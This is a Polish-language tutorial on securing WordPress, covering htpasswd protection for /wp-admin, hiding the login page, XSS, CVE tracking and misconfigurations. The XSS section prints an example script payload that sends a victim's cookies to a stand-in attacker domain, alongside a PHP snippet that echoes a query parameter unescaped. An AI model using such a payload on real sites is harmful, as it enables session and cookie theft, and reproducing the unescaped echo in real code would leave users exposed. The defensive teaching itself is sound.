WordPress nie należy do aplikacji o największym poziomie bezpieczeństwa, i wynika to z kilku historycznych powodów:
Miał być narzędziem do prowadzenia blogów czy też stron wizytówkowych, a nie sklepem internetowym czy czymkolwiek innym co zawierałoby wrażliwe dane o użytkownikach.
Powstał w 2003 roku, a 20 lat w branży IT to jak epoka dla innych dziedzin biznesowych. Internet przeszedł ewolucję w kwestii cyberbezpieczeństwa, i tak jak kiedyś był to jeden wielki znak zapytania, tak teraz zwraca się na to dużo większą (choć nadal niewystarczającą) uwagę.
Posiada rozproszony autorytet, lub jak kto woli – powstał jako open source. Umożliwia nam to rozszerzenie naszej aplikacji o kod zarówno programistów tworzących oprogramowanie komercyjne w sposób w pełni profesjonalny, jak i tych, którzy dopiero się tego uczą.
Przejdźmy przez najpopularniejsze metody ochrony przed poszczególnymi atakami:
Będziemy starać się unikać instalacji dodatkowych wtyczek z racji, że są one potencjalnie możliwymi wektorami ataku.
Bruteforce
Atak typu bruteforce czyli atak słownikowy polegający na odgadywania haseł “losowo”. Jest to najprymitywniejsza forma ataku jakiej może dopuścić się złośliwy użytkownik i jednoczesnie jedna z łatwiejszych do ochrony bo wystarczy… ustawić ponadprzeciętne hasło.
Ma to na celu uczynić próby atakującego nieopłacalnymi w czasie, lecz jeśli jesteś trochę bardziej świadomym programistą to możesz zauważyć pewien problem – ataki typu bruteforce są z natury podobne do ataków typu DDoS, gdyż niezamierzonym efektem ubocznym jest wygenerowanie bardzo dużego ruchu na stronie co skutkuje zaburzeniem pracy serwera.
Ale jak to?
Każdy użytkownik odwiedzający strony WordPressowe niezależnie od tego czy odwiedza stronę ze zdjęciami, swój koszyk, formularz kontaktowy lub dowolny inny adres na naszej stronie “rezewuje” sobie kilkanaście / kilkadziesiąt megabajtów pamięci (w zależności od konfiguracji, ilośći wtyczek, itp.), jakiś procent zużycia procesora, i coś tam przepustowości sieci, w skrócie – zabiera nam zasoby.
Kiedy jeden użytkownik próbuje 100 razy odgadnąć hasło to problem nie nastaje bo robi to synchronicznie (jedna próba za drugą), natomiast w przypadku tego typu ataków możemy spodziewać się symulacji wydarzeń w których serwer otrzymuje żądania od kilkudziesięciu użytkowników jednocześnie co często kończy się spadkiem wydajności strony, albo nawet jej crashem.
Przed klasycznym atakiem DDoS powinien ochronić nas w przypadku serwerów współdzielonych nasz dostawca hostingowy, gdyż ma całkowitą kontrolę nad infrastrukturą, natomiast przed próbą włamania się do panelu administracyjnego musimy już radzić sobie sami.
Metod jest kilka:
Ustawienie hasła dla adresu /wp-admin za pomocą htpasswd
Aplikacja htpasswd pozwala nam wygenerować plik zawierający nazwę użytkownika, oraz hash hasła służącego do autoryzacji pod danym adresem URL. Oznacza to, że zanim dostaniemy możliwość wpisania danych do naszej strony ujrzymy następujący popup na stronie:
I co to zmienia? Użytkownik nadal może zgadywać hasło
Owszem, lecz w tym przypadku nie jest zaangażowany do tego silnik PHP a jedynie serwer Apache co krytycznie zmniejsza ilość pożeranych zasobów przez złośliwe boty odwiedzające naszą stronę. Często sposób w jaki są oskryptowane sprawia, że po otrzymaniu wymagania dodatkowego uwierzytelnienia porzucają dalsze próby włamania się na stronę.
No ok, więc jak to dodać na mojej stronie?
Zarówno na Linuxie jak i Windowsie aplikacja ma nazwę htpasswd i jest dostarczana wraz z serwerem Apache, lub oddzielnie w paczce xxx-utils (linux)
https://httpd.apache.org/docs/2.4/programs/htpasswd.html
Popularne ścieżka w systemie Windows to C:/Xampp/bin/htpasswd.exe
Wywołujemy ten program następująco:
htpasswd.exe -c -B C:\Projects\Wordpress\.htpasswd John
Zostaniemy poproszeni o dwukrotne wpisanie hasła, po czym zostanie utworzony w podanej ścieżce plik .htpasswd zawierający mniej więcej taką zawartość:
John:$apr1$a1iNsTt2$H.MDgnxQ6jafyHmK0R78i1
Gdzie po lewo jest nazwa użytkownika do logowania, a po prawo hash zapisany za pomocą algorytmu bcrypt (-B)
I co z tym plikiem?
Tak gotowy plik wrzucamy do głównego katalogu i instruujemy serwer Apache by chronił nim poszczególne adresy URL
Uwaga: jeżeli mamy taką możliwość to nie przechowujemy tego pliku w katalogu w którym znajduje się nasza strona www. Odpowiednio skonfigurowany serwer Apache powinien ten plik odczytywać z lokacji niedostępnej dla silnika PHP. Niestety w przypadku serwerów współdzielonych zazwyczaj dostajemy FTP i krzyż na drogę więc zostaje nam tylko takie rozwiązanie
No dobra dobra, co z tym instruowaniem Apacha?
Edytujemy treść pliku .htaccess by zawierał następującą treść na początku:
SetEnvIf Request_URI ^/wp-admin require_auth=true
AuthUserFile /var/www/html/.htpasswd
AuthName „Hello there”
AuthType Basic
Order Deny,Allow
Deny from all
Satisfy any
Require valid-user
Allow from env=!require_auth
order allow,deny
deny from all
Ta reguła mówi nam: “Jeśli adres URL zaczyna się od wp-admin, to wymuś autoryzację za pomocą pliku /var/www/html/.htpasswd”, oraz “Zabroń bezpośredniego dostępu do pliku .htaccess” tak by nie można było go podejrzeć manipulując adresem URL
Tutaj ścieżka do pliku .htpasswd będzie prawdopodobnie zupełnie inna dla środowisk w których posiadacie swoje strony. W przypadku, gdy nie zostało to zablokowane to z pomocą Filezilli można kliknąć na dowolnym katalogu i pobrać jego pełną ścieżkę na serwerze. Podanie ścieżki relatywnej odbywa się względem katalogu na którym jest serwer (nie strona), a na hostingu współdzielonym nie powinniśmy mieć do tej lokacji dostępu więc jesteśmy tu skazani na użycie ścieżki absolutnej, o której zmianie warto pamiętać przy migracji na inne serwery.
Zmiana adresu /wp-admin na inny
A co gdyby tak zmienić adres do logowania się zamiast zakładać na niego dodatkowe hasła, które musimy pamiętać? Da się, aczkolwiek jest to tzw. security by obscurity czyli bezpieczeństwo przez niejawność – szeroko krytykowane jako niewystarczające podejście do tematu cyberbezpieczeństwa. Niemniej warto to zrobić jako uzupełnienie do innych metod ochrony naszej strony.
Użyjemy w tym celu wtyczki WPS Hide Login
Jest ona o tyle prosta w konfiguracji, że wystarczy skonfigurować adres do logowania na inny ja poniżej na zdjęciu:
CROSS-SITE / XSS
<pre>
foo.baz?message=<script>fetch(‘moja-zla-strona.bu?ciasteczka=' + document.cookies)</script>
</pre>Gdyby można było jakoś zgeneralizować czym są ataki typu Cross Site, to prawdopodobnie można by je opisać jako wstrzyknięcie złośliwej treści na stronę.
Powiedzmy, że posiadamy własną domenę. Nie daje to nam w żaden sposób dostępu do ciasteczek użytkownika z domeny innej strony – ciasteczka są zawężone do domeny tak by każda strona wiedziała tylko o swoich ciasteczkach.
Jednak posiadanie własnej domeny pozwala nam podrzucić ofierze link, który stworzy nam pewien obszar ataku.
Powiedzmy, że strona którą chcemy zaatakować jest pod domeną foo.baz i zawiera kod w stylu:
<?php
echo “<h1>Sklep z bulbultorami</h1>”;
echo $_GET[‘message’];
?>
foo.baz?message=Czescto zobaczymy przyjazną naszym oczom wiadomość, natomiast jeśli użyjemy (uproszczony przykład dla czytelności):
foo.baz?message=<script>fetch(‘moja-zla-strona.bu?ciasteczka=' + document.cookies)</script>to na serwer atakującego zostaną wysłane dane o naszych ciasteczkach.
Co prawda CMSy takie jak prestashop starają się zabezpieczać ciasteczka wiążąc je z adresem IP użytkownika, lecz w WordPressie tego brak. W ten czy inny sposób dane użytkownika należy chronić.
Ale ja nie wiem czy mój szablon ma takie wady
I tu z pomocą przychodzą nam strony zawierające informacje o tzw. CVE (Common Vulnerabilities and Exposures), czyli publicznych zgłoszeniach o lukach w bezpieczeństwie.
Popularne strony z CVE:
https://cve.mitre.org/
https://www.cvedetails.com/
https://www.cve.org/
Co prawda te strony nie pokazują dokładnie jak wykorzystać daną lukę, ale do większości tych informacji da się dojść bo wraz z publikacją CVE traci ona na wartości.
Dla przykładu możemy dość łatwo znaleźć informacje o ostatniej podatności w WordPressie we wtyczce UpdraftPlus:
https://www.cvedetails.com/cve/CVE-2022-0633/
lub
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-0633
Z racji, że numery CVE są ujednolicone, to wszystkie strony powinny je zawierać a różnić się co najwyżej samym działaniem wyszukiwarki, lub innymi udogodnieniami. Gdybyśmy chcieli zainteresować się API odnośnie CVE to najbliżej było by nam do https://nvd.nist.gov/ i projektów jak https://github.com/opencve/opencve
Sugerujemy znaleźć dogodną dla nas metodę śledzenia nowych CVE i w miarę dostępności aktualizowanie wtyczek podatnych na ataki, lub ich wyłączenie na czas dopóki nie pojawi się aktualizacja.
W przypadku, gdy nie chcemy odwiedzać powyższych stron, lecz chcemy mieć mimo wszystko jakiś monitoring, np. z pomocą płatnej wersji https://pl.wordpress.org/plugins/better-wp-security/ , aczkolwiek taki skaner nie jest zbyt skomplikowany do napisania samemu jeśli tylko wejdziemy w posiadanie dostępów do jednego z API CVE.
W tej kwestii to by było wszystko co można powiedzieć o wtyczkach, których sami nie piszemy a jedynie instalujemy.
Zła konfiguracja
- Złe uprawnienia do plików
- Jeśli kiedyś rozwiązałeś/aś problem za pomocą nadania pełnych uprawnień każdemu do katalogu (chmod 777), to prawdopodobnie było to złe rozwiązanie
- Zazwyczaj dla katalogów ustawia się 755, a dla plików 644, lecz nie jest to złota zasada i dla poszczególnych plików w WP i PS mogą być to inne uprawnienia.
-
Włączony tryb debugowania
- Za każdym razem, gdy w naszym systemie wystąpi błąd to wyświetli się on na ekranie. Stety / niestety potrafi on pokazać więcej informacji niż jest to konieczne, w tym dane dostępowe
- Brak środowiska testowego
- W miarę możliwości zawsze staramy się nowe zmiany testować na lokalnym środowisku
-
Backup
- Backup powinien być przechowywany na serwerze zewnętrznym, a nie na tym samym co działająca aplikacja
- Korzystanie z wtyczek z zaszyfrowanym kodzie, np. z pomocą IonCube
- Oddajemy w ten sposób praktycznie dostęp do naszego serwera autorowi wtyczki. Nie znając kodu jaki jest uruchamiany popełniamy zbrodnię na cyberbezpieczeństwie
